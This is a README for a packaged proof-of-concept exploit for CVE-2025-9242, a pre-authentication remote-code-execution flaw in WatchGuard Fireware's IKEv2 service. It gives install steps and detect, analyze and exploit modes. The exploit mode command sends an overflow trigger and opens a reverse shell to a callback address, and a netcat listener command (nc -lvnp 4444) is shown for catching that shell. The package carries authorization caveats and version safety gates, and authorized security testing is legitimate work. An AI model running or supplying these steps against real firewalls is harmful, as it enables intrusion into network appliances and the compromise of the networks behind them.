## https://sploitus.com/exploit?id=52B084AC-57E3-522D-A0E6-3FB4BBE57B83
# CVE-2025-9242 PoC
This package preserves a version-pinned WatchGuard Fireware exploit profile for:
- Fireware `12.7`
- build `640389`
- M270 appliance profile
- CVE-2025-9242
It contains an active pre-authentication remote-code-execution exploit. Use it
only on systems you own or are explicitly authorized to test. A successful
exploit can interrupt the IKE service even when the callback does not arrive.
## Requirements
- Linux on x86-64
- Python 3.11 or newer
- GNU binutils for amd64 (used by pwntools to assemble the runtime callback)
Install Python dependencies in an isolated environment:
```sh
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install -r requirements.txt
```
## Modes
### `detect`
Performs one non-overflowing IKEv2 `IKE_SA_INIT` exchange, reads the vendor
version/build fingerprint, and reports whether it exactly matches the archived
profile. It does not send the 513-byte vulnerability trigger.
```sh
python3 wg_cve_2025_9242.py detect \
--rhost 192.0.2.10 \
--rport 500
```
Use `--json` for machine-readable output.
### `analyze`
Runs entirely offline. It builds a reverse-shell payload with a documentation
callback address, checks the exact profile constants and payload layout, and
prints the shellcode/payload sizes and SHA-256 hashes.
```sh
python3 wg_cve_2025_9242.py analyze
```
To inspect the payload shape for a different callback without sending it:
```sh
python3 wg_cve_2025_9242.py analyze \
--callback-ip 192.0.2.20 \
--callback-port 4444
```
### `exploit`
Starts with the same non-overflowing exact-version/build detection. It refuses
to continue unless the live fingerprint is `12.7` / `640389`, both explicit
safety gates are supplied, and the callback is an IPv4 address.
Start a listener first:
```sh
nc -lvnp 4444
```
Then, against an authorized target:
```sh
python3 wg_cve_2025_9242.py exploit \
--rhost 192.0.2.10 \
--rport 500 \
--callback-ip 192.0.2.20 \
--callback-port 4444 \
--confirm-profile 12.7-640389 \
--acknowledge-service-interruption
```
The callback begins with a generic `uid` / `euid` banner and then exposes the
appliance's `/usr/bin/python` interactive interpreter. Exploit delivery and
callback success are separate facts: a timeout after delivery is expected and
does not prove that the reverse shell connected.
## Offline validation
```sh
python3 wg_cve_2025_9242.py analyze
sha256sum -c MANIFEST.sha256
```
The package contains only the CLI, protocol engine, dependency list, this
README, the upstream notice, and `MANIFEST.sha256`. The manifest covers the
other five files.
## Archive boundary
The package intentionally excludes:
- real target addresses, hostnames, and business names;
- tester identities, workstation paths, callback services, and endpoints;
- credentials, cookies, tokens, session material, packet captures, and logs;
- generated shellcode/payload blobs;
- live-fire transcripts, findings, client reports, and internal topology;
- bytecode caches, VCS metadata, timestamps, and host ownership metadata.
Callback material is generated only from command-line arguments at runtime.